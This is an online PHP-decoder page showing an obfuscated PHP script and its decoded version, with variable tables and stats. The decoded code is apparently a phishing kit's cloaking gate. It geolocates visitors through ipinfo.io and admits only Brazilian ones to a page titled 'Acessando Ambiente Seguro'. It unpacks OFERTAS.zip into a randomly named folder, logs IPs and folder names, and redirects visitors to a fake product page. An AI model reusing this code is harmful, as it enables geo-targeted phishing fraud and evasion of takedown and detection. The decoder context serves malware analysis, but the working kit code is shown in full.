Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

${"\x47\x4c\x4f\x42\x41\x4c\x53"}["h\x68\x6b\x75\x64\x66\x63\x6e\x64"]="\x61\x63res\x63en\..

Decoded Output download

<?  ${"GLOBALS"}["hhkudfcnd"]="acrescenta1";${"GLOBALS"}["srdxnnfx"]="redirect";${"GLOBALS"}["ncwxoqa"]="Result1";${"GLOBALS"}["lhcpxozz"]="acrescenta";${"GLOBALS"}["qiqblgs"]="database_ConnectDB";${"GLOBALS"}["oetagsccayv"]="ConnectDB";${"GLOBALS"}["uvgbnxkhiww"]="zip";${"GLOBALS"}["nagtsfnnhix"]="pasta1";${"GLOBALS"}["gzxvlqjl"]="destino";${"GLOBALS"}["uhtygdmjn"]="id";${"GLOBALS"}["lysmswcmi"]="ipc";${"GLOBALS"}["qvgfwvhikp"]="ip";${"GLOBALS"}["hwmxnkurs"]="ch";${"GLOBALS"}["cvspcd"]="ip";${"GLOBALS"}["giedtx"]="dadosSite";$apltvfroos="ch";${"GLOBALS"}["huswmnd"]="checar";$qitfpqwr="dadosSite";$bwwdgbd="ipc";$szrsqlwyuhu="ch";$sfwskd="ch";$qkgiwxarpjke="ch";$figxqrdil="ip";require_once("Connections/ConnectDB.php");${$bwwdgbd}=$_SERVER["REMOTE_ADDR"];$rkcfagc="ip";${${"GLOBALS"}["huswmnd"]}="https://ipinfo.io/$ipc/json/";$cqtkulsjsphq="ch";${$qkgiwxarpjke}=curl_init();curl_setopt(${${"GLOBALS"}["hwmxnkurs"]},CURLOPT_URL,"$checar");curl_setopt(${$szrsqlwyuhu},CURLOPT_COOKIEJAR,"cookie.txt");curl_setopt(${$sfwskd},CURLOPT_RETURNTRANSFER,1);curl_setopt(${$cqtkulsjsphq},CURLOPT_SSL_VERIFYPEER,false);${${"GLOBALS"}["giedtx"]}=curl_exec(${$apltvfroos});${$figxqrdil}=explode(""country\": "",${$qitfpqwr});${${"GLOBALS"}["qvgfwvhikp"]}=explode("\"",${${"GLOBALS"}["cvspcd"]}[1]);if(${${"GLOBALS"}["lysmswcmi"]}=="127.0.0.1"){${"GLOBALS"}["wyojyibf"]="ip";${${"GLOBALS"}["wyojyibf"]}="BR";}else{${"GLOBALS"}["zlwrmffnul"]="ip";${${"GLOBALS"}["zlwrmffnul"]}=${${"GLOBALS"}["qvgfwvhikp"]}[0];}if(${${"GLOBALS"}["qvgfwvhikp"]}=="BR"||${$rkcfagc}==null){$bsxkzwxpxx="produto";${"GLOBALS"}["sepihltab"]="id";echo "
";${$bsxkzwxpxx}=$_GET["linkcompleto"];${${"GLOBALS"}["sepihltab"]}=$_GET["id"];if(is_numeric(${${"GLOBALS"}["uhtygdmjn"]})){$fmvucpo="arquivo";echo "
<title>Acessando Ambiente Seguro</title>
";${"GLOBALS"}["fgpigesraz"]="pasta1";${$fmvucpo}=getcwd()."/OFERTAS.zip";${"GLOBALS"}["vqwvvggme"]="arquivo";${${"GLOBALS"}["fgpigesraz"]}="OFERTAS".rand(0,99999)."apc";${${"GLOBALS"}["gzxvlqjl"]}=${${"GLOBALS"}["nagtsfnnhix"]};${${"GLOBALS"}["uvgbnxkhiww"]}=new ZipArchive;$zip->open(${${"GLOBALS"}["vqwvvggme"]});${"GLOBALS"}["dutlnmqqt"]="ConnectDB";if($zip->extractTo(${${"GLOBALS"}["gzxvlqjl"]})==TRUE){}else{}$zip->close();${"GLOBALS"}["pdfpjwhwuyn"]="ConnectDB";echo "<style type=\"text/css">
.x {
	text-align: right;
}
</style>
<center>


";${"GLOBALS"}["rrffes"]="Result12";${${"GLOBALS"}["qvgfwvhikp"]}=$_SERVER["REMOTE_ADDR"];${"GLOBALS"}["nnttwyqsj"]="acrescenta1";$jxlndpfckc="id";mysqli_select_db(${${"GLOBALS"}["oetagsccayv"]},${${"GLOBALS"}["qiqblgs"]});${${"GLOBALS"}["lhcpxozz"]}="INSERT INTO visitas (ip) VALUES ('$ip')";${"GLOBALS"}["vdbsukwlwk"]="acrescenta";${${"GLOBALS"}["ncwxoqa"]}=mysqli_query(${${"GLOBALS"}["pdfpjwhwuyn"]},${${"GLOBALS"}["vdbsukwlwk"]})or die(mysql_error());${"GLOBALS"}["hdgseowrtg"]="produto";$wemsdes="destino";${${"GLOBALS"}["srdxnnfx"]}=${$wemsdes}."/produto.php?linkcompleto=".${${"GLOBALS"}["hdgseowrtg"]}."&id=".${$jxlndpfckc};mysqli_select_db(${${"GLOBALS"}["dutlnmqqt"]},${${"GLOBALS"}["qiqblgs"]});${${"GLOBALS"}["nnttwyqsj"]}="INSERT INTO antipishing (nomedir) VALUES ('$pasta1')";${${"GLOBALS"}["rrffes"]}=mysqli_query(${${"GLOBALS"}["oetagsccayv"]},${${"GLOBALS"}["hhkudfcnd"]})or die(mysql_error());echo "<script language=\"JavaScript\"> 
window.location=\"";echo${${"GLOBALS"}["srdxnnfx"]};echo "\"; 
</script> 
";}else{};echo "
	
";}else{echo "	

<script language=\"JavaScript\"> 
window.location="http://nodomain.ctbc.com.br/main?ParticipantID=loz9ezonc8fc4ufawcza9ubx2gzfwr7z&FailedURI=http%3A%2F%2F%2F&FailureMode=1&Implementation=&AddInType=4&Version=pywr1.0&ClientLocation=br\"; 
</script> 
";} 
?>

Did this file decode correctly?

Original Code

${"\x47\x4c\x4f\x42\x41\x4c\x53"}["h\x68\x6b\x75\x64\x66\x63\x6e\x64"]="\x61\x63res\x63en\x74a1";${"\x47\x4c\x4f\x42AL\x53"}["s\x72d\x78\x6e\x6e\x66\x78"]="\x72\x65\x64irec\x74";${"\x47\x4c\x4f\x42\x41\x4cS"}["ncwx\x6f\x71a"]="\x52\x65\x73\x75\x6c\x741";${"GL\x4fB\x41\x4c\x53"}["\x6c\x68\x63\x70\x78\x6f\x7a\x7a"]="\x61c\x72\x65sc\x65\x6et\x61";${"\x47\x4cOB\x41\x4c\x53"}["qi\x71\x62\x6c\x67\x73"]="d\x61\x74a\x62as\x65\x5f\x43\x6f\x6e\x6ee\x63\x74DB";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x65\x74a\x67\x73\x63\x63\x61\x79\x76"]="C\x6f\x6enect\x44B";${"\x47L\x4fB\x41L\x53"}["\x75\x76\x67b\x6e\x78\x6b\x68i\x77\x77"]="z\x69\x70";${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x61\x67\x74\x73\x66n\x6e\x68\x69\x78"]="\x70\x61sta\x31";${"\x47\x4c\x4f\x42\x41L\x53"}["\x67\x7a\x78\x76\x6c\x71jl"]="d\x65\x73t\x69\x6e\x6f";${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x68\x74\x79\x67\x64m\x6a\x6e"]="\x69\x64";${"\x47L\x4f\x42\x41LS"}["\x6cysm\x73w\x63\x6d\x69"]="\x69p\x63";${"\x47\x4cOB\x41L\x53"}["\x71\x76gf\x77v\x68\x69\x6b\x70"]="i\x70";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x77m\x78\x6e\x6b\x75\x72\x73"]="\x63\x68";${"\x47\x4cO\x42A\x4c\x53"}["\x63\x76\x73p\x63d"]="\x69p";${"\x47\x4cOBA\x4c\x53"}["\x67\x69e\x64\x74x"]="\x64a\x64\x6f\x73\x53\x69t\x65";$apltvfroos="\x63\x68";${"\x47\x4c\x4fB\x41L\x53"}["hu\x73\x77\x6dn\x64"]="\x63\x68\x65\x63\x61r";$qitfpqwr="dado\x73S\x69\x74\x65";$bwwdgbd="\x69p\x63";$szrsqlwyuhu="\x63\x68";$sfwskd="\x63\x68";$qkgiwxarpjke="\x63\x68";$figxqrdil="i\x70";require_once("C\x6fn\x6eec\x74io\x6es/C\x6fn\x6e\x65c\x74\x44\x42\x2ep\x68p");${$bwwdgbd}=$_SERVER["\x52\x45M\x4fTE\x5f\x41D\x44\x52"];$rkcfagc="\x69p";${${"G\x4c\x4f\x42AL\x53"}["\x68\x75\x73w\x6d\x6ed"]}="\x68\x74\x74\x70\x73://\x69pi\x6efo\x2e\x69\x6f/$ipc/json/";$cqtkulsjsphq="ch";${$qkgiwxarpjke}=curl_init();curl_setopt(${${"\x47L\x4f\x42A\x4c\x53"}["\x68w\x6d\x78nk\x75r\x73"]},CURLOPT_URL,"$checar");curl_setopt(${$szrsqlwyuhu},CURLOPT_COOKIEJAR,"\x63oo\x6b\x69\x65\x2e\x74\x78t");curl_setopt(${$sfwskd},CURLOPT_RETURNTRANSFER,1);curl_setopt(${$cqtkulsjsphq},CURLOPT_SSL_VERIFYPEER,false);${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67\x69e\x64\x74x"]}=curl_exec(${$apltvfroos});${$figxqrdil}=explode("\x22c\x6f\x75\x6et\x72y\":\x20\x22",${$qitfpqwr});${${"G\x4c\x4f\x42A\x4cS"}["qvg\x66\x77v\x68\x69\x6b\x70"]}=explode("\"",${${"\x47\x4c\x4fB\x41\x4cS"}["\x63\x76sp\x63\x64"]}[1]);if(${${"\x47LO\x42\x41L\x53"}["l\x79\x73\x6d\x73\x77\x63\x6d\x69"]}=="1\x327.\x30\x2e\x30.\x31"){${"\x47LO\x42\x41L\x53"}["\x77\x79o\x6a\x79\x69\x62\x66"]="\x69\x70";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x77\x79o\x6ayi\x62\x66"]}="\x42R";}else{${"\x47L\x4fB\x41L\x53"}["z\x6c\x77r\x6df\x66n\x75\x6c"]="i\x70";${${"GL\x4fB\x41LS"}["\x7a\x6c\x77\x72\x6d\x66\x66\x6e\x75\x6c"]}=${${"\x47L\x4fB\x41\x4c\x53"}["\x71\x76\x67\x66\x77\x76hi\x6bp"]}[0];}if(${${"GL\x4f\x42\x41\x4c\x53"}["\x71\x76\x67\x66\x77v\x68\x69\x6b\x70"]}=="\x42\x52"||${$rkcfagc}==null){$bsxkzwxpxx="\x70\x72\x6fdu\x74o";${"\x47\x4c\x4fB\x41L\x53"}["s\x65\x70\x69h\x6c\x74\x61\x62"]="\x69\x64";echo "\n";${$bsxkzwxpxx}=$_GET["li\x6ekc\x6f\x6d\x70l\x65t\x6f"];${${"\x47\x4c\x4f\x42A\x4c\x53"}["se\x70\x69\x68\x6c\x74a\x62"]}=$_GET["i\x64"];if(is_numeric(${${"\x47L\x4f\x42A\x4c\x53"}["\x75h\x74\x79\x67dmj\x6e"]})){$fmvucpo="\x61\x72q\x75\x69\x76\x6f";echo "\n\x3c\x74\x69\x74le\x3eAces\x73\x61\x6ed\x6f\x20A\x6db\x69en\x74e\x20S\x65gu\x72\x6f\x3c/\x74it\x6ce>\n";${"\x47\x4cO\x42\x41\x4cS"}["\x66\x67\x70\x69\x67\x65sr\x61\x7a"]="\x70\x61\x73\x74a\x31";${$fmvucpo}=getcwd()."/\x4f\x46E\x52T\x41\x53.\x7a\x69\x70";${"\x47\x4cO\x42\x41\x4cS"}["\x76q\x77v\x76g\x67\x6d\x65"]="\x61\x72\x71\x75\x69\x76\x6f";${${"G\x4c\x4fB\x41\x4c\x53"}["\x66g\x70\x69\x67\x65\x73ra\x7a"]}="O\x46\x45\x52TAS".rand(0,99999)."a\x70c";${${"G\x4c\x4f\x42A\x4c\x53"}["\x67zx\x76\x6cq\x6al"]}=${${"G\x4c\x4f\x42A\x4c\x53"}["\x6e\x61\x67\x74s\x66\x6en\x68ix"]};${${"\x47L\x4f\x42\x41L\x53"}["\x75v\x67\x62\x6e\x78\x6b\x68\x69w\x77"]}=new ZipArchive;$zip->open(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x71\x77vvg\x67\x6d\x65"]});${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x75\x74\x6c\x6emq\x71\x74"]="\x43o\x6ene\x63\x74\x44\x42";if($zip->extractTo(${${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x7a\x78\x76\x6c\x71\x6a\x6c"]})==TRUE){}else{}$zip->close();${"\x47\x4c\x4fBALS"}["p\x64\x66\x70\x6aw\x68\x77u\x79\x6e"]="C\x6f\x6en\x65\x63t\x44B";echo "<\x73\x74y\x6c\x65\x20t\x79\x70e\x3d\"t\x65x\x74/\x63\x73\x73\x22>\n.\x78\x20{\n\t\x74ext-al\x69\x67\x6e: \x72ight;\n}\n</style\x3e\n\x3c\x63\x65\x6et\x65r\x3e\n\n\n";${"\x47\x4c\x4fBAL\x53"}["r\x72\x66\x66\x65\x73"]="\x52\x65\x73\x75l\x741\x32";${${"\x47LO\x42\x41L\x53"}["\x71\x76g\x66\x77v\x68\x69k\x70"]}=$_SERVER["R\x45MO\x54E_\x41D\x44R"];${"\x47\x4c\x4fB\x41LS"}["\x6e\x6e\x74t\x77yq\x73\x6a"]="a\x63\x72\x65\x73\x63e\x6e\x74\x61\x31";$jxlndpfckc="\x69\x64";mysqli_select_db(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6fe\x74a\x67\x73c\x63a\x79\x76"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71\x69q\x62\x6c\x67s"]});${${"GL\x4fB\x41\x4c\x53"}["\x6c\x68c\x70\x78\x6fz\x7a"]}="I\x4eSE\x52T \x49\x4eTO\x20vi\x73it\x61s\x20(ip)\x20\x56\x41LUE\x53\x20(\x27$ip')";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x64\x62\x73\x75\x6b\x77\x6c\x77\x6b"]="\x61c\x72\x65\x73\x63enta";${${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x63w\x78\x6f\x71\x61"]}=mysqli_query(${${"GLO\x42\x41\x4c\x53"}["\x70d\x66\x70\x6awh\x77\x75y\x6e"]},${${"\x47L\x4fB\x41LS"}["\x76\x64\x62s\x75\x6b\x77\x6cw\x6b"]})or die(mysql_error());${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x64\x67\x73\x65ow\x72\x74g"]="pro\x64\x75t\x6f";$wemsdes="\x64\x65\x73t\x69\x6eo";${${"G\x4c\x4fBA\x4cS"}["\x73rdx\x6e\x6e\x66\x78"]}=${$wemsdes}."/pr\x6fdut\x6f.\x70hp?li\x6ekc\x6fm\x70\x6ceto=".${${"\x47LOB\x41\x4c\x53"}["\x68\x64g\x73\x65\x6fw\x72\x74\x67"]}."\x26\x69\x64=".${$jxlndpfckc};mysqli_select_db(${${"G\x4c\x4f\x42\x41\x4c\x53"}["d\x75\x74\x6c\x6e\x6d\x71q\x74"]},${${"G\x4c\x4f\x42AL\x53"}["q\x69q\x62\x6c\x67\x73"]});${${"\x47\x4c\x4fB\x41\x4cS"}["\x6en\x74t\x77\x79\x71sj"]}="\x49N\x53\x45R\x54\x20\x49N\x54O an\x74ipis\x68i\x6eg\x20(\x6e\x6fm\x65dir)\x20\x56ALUES (\x27$pasta1')";${${"\x47\x4c\x4f\x42A\x4cS"}["\x72\x72\x66\x66es"]}=mysqli_query(${${"\x47LO\x42\x41\x4c\x53"}["oe\x74ags\x63\x63ay\x76"]},${${"\x47\x4cO\x42\x41L\x53"}["\x68hk\x75\x64\x66cnd"]})or die(mysql_error());echo "<\x73\x63\x72i\x70\x74 lan\x67\x75a\x67\x65=\"Ja\x76aScr\x69pt\"\x3e \nw\x69\x6e\x64\x6fw\x2elocation=\"";echo${${"\x47\x4cO\x42\x41L\x53"}["\x73\x72\x64\x78\x6en\x66\x78"]};echo "\"\x3b\x20\n\x3c/\x73c\x72ip\x74\x3e \n";}else{};echo "\n\t\n";}else{echo "\t\n\n<sc\x72ipt\x20\x6can\x67\x75\x61\x67e\x3d\"\x4a\x61\x76\x61\x53cript\"> \n\x77\x69\x6e\x64\x6fw\x2e\x6c\x6f\x63\x61t\x69\x6fn\x3d\x22\x68\x74\x74p://\x6eo\x64\x6f\x6d\x61\x69n.\x63\x74b\x63.com\x2e\x62\x72/m\x61\x69\x6e?P\x61\x72\x74\x69\x63i\x70ant\x49D\x3dl\x6fz\x39e\x7a\x6f\x6ec8\x66\x63\x34ufaw\x63za9ubx\x32\x67zf\x77\x727\x7a\x26Fa\x69l\x65\x64\x55RI=h\x74tp%3\x41%\x32F\x252F\x25\x32F&\x46\x61ilur\x65\x4dod\x65\x3d\x31\x26\x49\x6dp\x6c\x65\x6d\x65\x6etat\x69\x6fn=\x26A\x64dI\x6eTy\x70e\x3d\x34\x26V\x65rs\x69on=pywr1\x2e\x30\x26\x43l\x69ent\x4co\x63a\x74ion\x3db\x72\"; \n</\x73\x63r\x69\x70t> \n";}
?>

Function Calls

None

Variables

$sfwskd	ch
GLOBALS	[{'key': 'hhkudfcnd', 'value': 'acrescenta1'}, {'key': 'srdxnnfx', 'value': 'redirect'}, {'key': 'ncwxoqa', 'value': 'Result1'}, {'key': 'lhcpxozz', 'value': 'acrescenta'}, {'key': 'qiqblgs', 'value': 'database_ConnectDB'}, {'key': 'oetagsccayv', 'value': 'ConnectDB'}, {'key': 'uvgbnxkhiww', 'value': 'zip'}, {'key': 'nagtsfnnhix', 'value': 'pasta1'}, {'key': 'gzxvlqjl', 'value': 'destino'}, {'key': 'uhtygdmjn', 'value': 'id'}, {'key': 'lysmswcmi', 'value': 'ipc'}, {'key': 'qvgfwvhikp', 'value': 'ip'}, {'key': 'hwmxnkurs', 'value': 'ch'}, {'key': 'cvspcd', 'value': 'ip'}, {'key': 'giedtx', 'value': 'dadosSite'}, {'key': 'huswmnd', 'value': 'checar'}]
$bwwdgbd	ipc
$qitfpqwr	dadosSite
$figxqrdil	ip
$apltvfroos	ch
$szrsqlwyuhu	ch
$qkgiwxarpjke	ch

Stats

MD5	8908f436c6280e413e5ff70de0d50096
Eval Count	0
Decode Time	136 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats